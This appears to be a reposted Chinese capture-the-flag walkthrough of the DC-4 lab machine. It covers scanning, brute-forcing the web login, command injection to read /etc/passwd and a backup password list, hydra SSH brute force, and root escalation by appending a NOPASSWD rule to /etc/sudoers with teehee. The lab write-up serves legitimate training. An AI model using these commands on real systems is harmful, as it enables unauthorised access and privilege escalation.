DC系列靶机4通关教程

news2024/11/17 7:55:30

DC-4

信息收集

扫描主机

arp-scan -l

image-20230815212520770

端口扫描

nmap -p- -A 192.168.16.165

image-20230815212642667

发现ssh端口和80端口都打开着呢

目录扫描

dirsearch -u http://192.168.16.165

dirb hhtp://192.168.16.165

image-20230815213636827

登录web网页

image-20230815213837495

发现没有可用信息,发现页面提示admin

爆破

用户密码爆破

使用用户名admin,密码随意,点击登录,使用bp进行密码爆破

image-20230815214400848

image-20230815214429879

image-20230815214505818

image-20230815214557659

爆破出密码为happy

登录网页

image-20230815215051332

点击command,点击run发现执行了ls -l命令

image-20230815215153109

命令执行漏洞利用

使用bp抓包,点击run,右键发送重发器,发现数据包是post提交数据

image-20230815215359148

image-20230815215422380

将radio更改为id查看用户权限,发现是普通用户。

id

image-20230815215826965

查看有没有其他用户

cat /etc/passwd

image-20230815220028665

image-20230815220057986

发现有三个普通用户:charles、jim、sam和root用户

扫描三个用户的家目录,发现只有jim的加目录中有数据

ls -lh /home/charles
ls -lh /home/jim
ls -lh /home/sam

访问jim目录下backups,发现有一个旧密码本

ls -lh /home/jim/backups

image-20230815221452522

查看旧密码本

cat /home/jim/backups/old-passwords.bak

image-20230815221837366

将密码复制到pswd.txt文档中

image-20230815222259323

扫描端口时发现有ssh端口开放,尝试使用hydra爆破端口

hydra -l jim -P pswd.txt ssh://192.168.16.165

image-20230815222700699

使用ssh登录jim账号,发现有邮件

ssh jim@192.168.16.165

密码:jibril04

image-20230815223231484

查看当前文件夹,查看文件mbox

ls -l
cat mbox

image-20230815223439164

image-20230815223516664

查看邮件,Linux中邮件存放在/var/spool/mail中

cd /var/spool/mail
ls
cat jim

image-20230815223856622

邮件内容提到Charles的密码为^xHhA&hvim0y可以切换Charles查看

su Charles

image-20230815224206598

使用命令发现权限不够

提权

查看所有可以使用root用户身份使用的命令

sudo -l

image-20230815224417945

发现teehee可以使用root身份使用

echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers

这个命令的作用是将一行文本添加到 /etc/sudoers 文件中,允许用户 charles 在执行 sudo 命令时无需输入密码。下面是对该命令的详细解析:

  • echo ‘charles ALL=(ALL:ALL) NOPASSWD:ALL’: echo 命令用于向标准输出打印文本。此处的文本是 ‘charles ALL=(ALL:ALL) NOPASSWD:ALL’,它定义了一个 sudo 权限规则。

    • charles: 这是用户名,在这个例子中是指定的用
    • ALL=(ALL:ALL): 这部分规定了 charles 用户可以以任何用户身份和组执行任何命令。
    • NOPASSWD:ALL: 这部分规定了 charles 用户在执行 sudo 命令时无需输入密码。
  • |: 这是管道符号,用于将 echo 命令的输出传递给下一个命令。

  • sudo teehee -a /etc/sudoers:sudo 是一个授权用户执行特权命令的工具。teehee 命令用于从标准输入读取数据,并将其写入文件。-a 参数表示追加写入。

    • /etc/sudoers: 这是一个特殊的文件,用于配置 sudo 的权限规则。只有具有适当权限的用户才能修改此文件。

用是,利用 echo 打印出 sudo 权限规则的文本,并将其追加写入 /etc/sudoers 文件中。这样就允许了用户 charles 在执行 sudo 命令时无需输入密码。
image-20230815225150302

image-20230815225235877

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1012192.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

什么是AI数字员工?它能帮我们做什么?

在今年360智脑大模型应用发布会上,360集团创始人周鸿祎再度提到了AI数字员工,他认为AI数字员工将为企业带来一场工作效率革命。在当今数字化和自动化的时代,人工智能(AI)正在逐渐地融入到各行业,而AI数字员…

《优化接口设计的思路》系列:第二篇—接口用户上下文的设计与实现

系列文章导航 《优化接口设计的思路》系列:第一篇—接口参数的一些弯弯绕绕 《优化接口设计的思路》系列:第二篇—接口用户上下文的设计与实现 前言 大家好!我是sum墨,一个一线的底层码农,平时喜欢研究和思考一些技术…

财富潮涌:银行发展绿色经济创新路径

在《玩转金融新“绿”潮,银行纷纷亮大招》内容中,我们带大家了解了商业银行有关绿色信贷产品、绿色债券产品及绿色投资的内容。今天,我们将继续带大家了解商业银行绿色金融实践路径中关于绿色财富、绿色服务和绿色运营的分析。 在绿色金融实…

数字中国背景下,企业数字化转型需要“强IT”

随着科技的快速发展和全球商业环境的不断变化,中国企业对灵活性、创新性、全球化和效率的需求是迫切的,进行数字化转型来支撑企业的业务变革、组织优化已是业界共识。如何根据企业的实际情况进行数字化转型对企业管理层,特别是CIO提出了新的挑…

解决 Axios 跨域问题,轻松实现接口调用

跨域是指访问另外一个域的资源,由于浏览器的同源策略,默认情况下使用 XMLHttpRequest 和 Fetch 请求时是不允许跨域的。跨域的根本原因是浏览器的同源策略,这是由浏览器对 JavaScript 施加的安全限制。 Axios 跨域常见报错 跨域请求被阻止 (…

电子凭证试点深化后,企业如何应对?百望云提供电子凭证一体化解决方案!

今年5月,财政部、税务总局、人民银行、国务院国资委、国家档案局、标准委、国电联办、民航局、国铁集团九单位组织召开电子凭证会计标准深化试点启动会。 电子会计凭证的格式非常多样化,电子会计凭证的处理一直是企业的难点。此次试点工作虽然对企业的财…

SSL证书为什么要选付费?

SSL证书已经越来越多的使用在网站,小程序和APP上,对于保障网络安全,加密数据信息有至关重要的作用。随着SSL证书市场的发展,各种类型的证书产品也在不断丰富,用户在选择SSL证书时,除了可以购买付费证书&…

2023年8月京东白酒行业数据分析(京东数据开放平台)

中秋、国庆“双节”即将到来之际,白酒市场中越来越多的促销手段浮现,除了线下门店,线上电商也推出“百款直降”“限量预约抢购”“百亿补贴”等活动,如习酒消费满额享华为手机,五粮液指定产品满219减120元,…

Spring系列文章:Bean的作⽤域

1、singleton 默认情况下&#xff0c;Spring的IoC容器创建的Bean对象是单例的 <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.springframework.org/schema/beans"xmlns:xsi"http://www.w3.org/2001/XMLSche…

会声会影2023免费版电脑视频剪辑软件

会声会影视频剪辑软件对硬件配置要求不高&#xff0c;功能强大且涵盖面广&#xff0c;能为用户节省出大量的硬件成本与学习时间成本。大多数用户仅需一周左右的时间就可以掌握会声会影的基本功能模块&#xff0c;会声会影视频剪辑软件&#xff0c;已经拥有了超过20年的品牌历史…

微软hotmail邮箱的存储空间查询

我最近注册了hotmail邮箱&#xff0c;查询到的存储空间如下&#xff1a; 我们关注的存储应该是下面的电子邮箱存储&#xff0c;15 GB&#xff0c;还是比较大的。 而上面的存储是Microsoft账户存储。 我打算用hotmail邮箱以邮件的形式存储一些重要资料。

2024年浙江财经大学MBA招生简章发布:有哪些看点?

2024年研究生招生简章近期正在陆续发布&#xff0c;作为立足浙江十余年的专业机构&#xff0c;杭州达立易考教育带领考生们来认真分析一下各MBA项目的招生政策以及趋势&#xff0c;以方面在接下来的全国研究生考试网报期间顺利选到适合自己的项目&#xff01;本期围绕浙江财经大…

南京融资融券(信用账户)开户利率最低能做到多少?无门槛利率5%!

南京融资融券(信用账户)开户利率最低能做到多少?无门槛利率5%! 信用账户是指一种可以在购物和信贷过程中使用的账户。它通常与信用卡或贷款相关联&#xff0c;在购物或信贷过程中可以使用它来进行支付。 融资融券是一种证券投资方式&#xff0c;可以通过券商开通该服务。以下…

《DevOps实践指南》- 读书笔记(九)

DevOps实践指南 25. 附录附录 1 DevOps 的大融合精益运动敏捷运动Velocity 大会运动敏捷基础设施运动持续交付运动丰田套路运动精益创业运动精益用户体验运动Rugged Computing 运动 附录 2 约束理论和核心的长期冲突附录 3 恶性循环列表附录 4 交接和队列的危害附录 5 工业安全…

【HBuilderX】解决黑色主题中的注释颜色太浅的问题(代码示例)

打开后&#xff0c;搜索Comment&#xff0c;修改&#xff0c;一个是//的颜色&#xff0c;一个是注释内容的颜色

LOG方案整理(持续更新)

LOG方案整理&#xff08;持续更新&#xff09; 一.日志文件格式 基本日志格式主要包含四种内容 1. 事件发生时间 2. 发生事件的主机名 3. 发生事件的服务或程序&#xff08;或内核&#xff09;&#xff0c;包含进程PID 4. 事件内容 二.日志文件分析 内核及大多数系统消息 内核及…

(二十九)大数据实战——kafka集群节点服役与退役案例实战

前言 本节内容是关于kafka集群节点的服役与退役&#xff0c;从而实现kafka集群的缩容与扩容。在开始本节内容之前&#xff0c;我们要预先安装好kafka集群&#xff0c;并准备一台空余的服务器用来完成我们扩容与缩容的案例。关于kafka集群的安装内容这里不在赘述&#xff0c;相…

在微信公众号怎么实现每日签到功能

在微信公众号中实现每日签到功能&#xff0c;可以为企业或公众号运营者带来许多好处。每日签到功能不仅可以增加用户粘性&#xff0c;提高用户参与度&#xff0c;还可以为公众号带来更多的流量和曝光度。那么&#xff0c;如何在微信公众号中实现每日签到功能呢&#xff1f;本文…

Docker中安装Jenkins

本篇主要讲如何在Docker中安装Jenkins&#xff0c;如果Docker未安装&#xff0c;可以先参考上一篇文章进行Docker安装。 【学习Docker&#xff08;一&#xff09;】centos系统 Docker 安装与卸载 安装 拉取镜像 docker pull jenkins/jenkins1 创建 Jenkins 挂载目录 mkdi…

滑动时间窗口的思想和实现,环形数组,golang

固定时间窗口 在开发限流组件的时候&#xff0c;我们需要统计一个时间区间内的请求数&#xff0c;比如以分钟为单位。所谓固定时间窗口&#xff0c;就是根据时间函数得到当前请求落在哪个分钟之内&#xff0c;我们在统计的时候只关注当前分钟之内的数量&#xff0c;即 [0s, 60…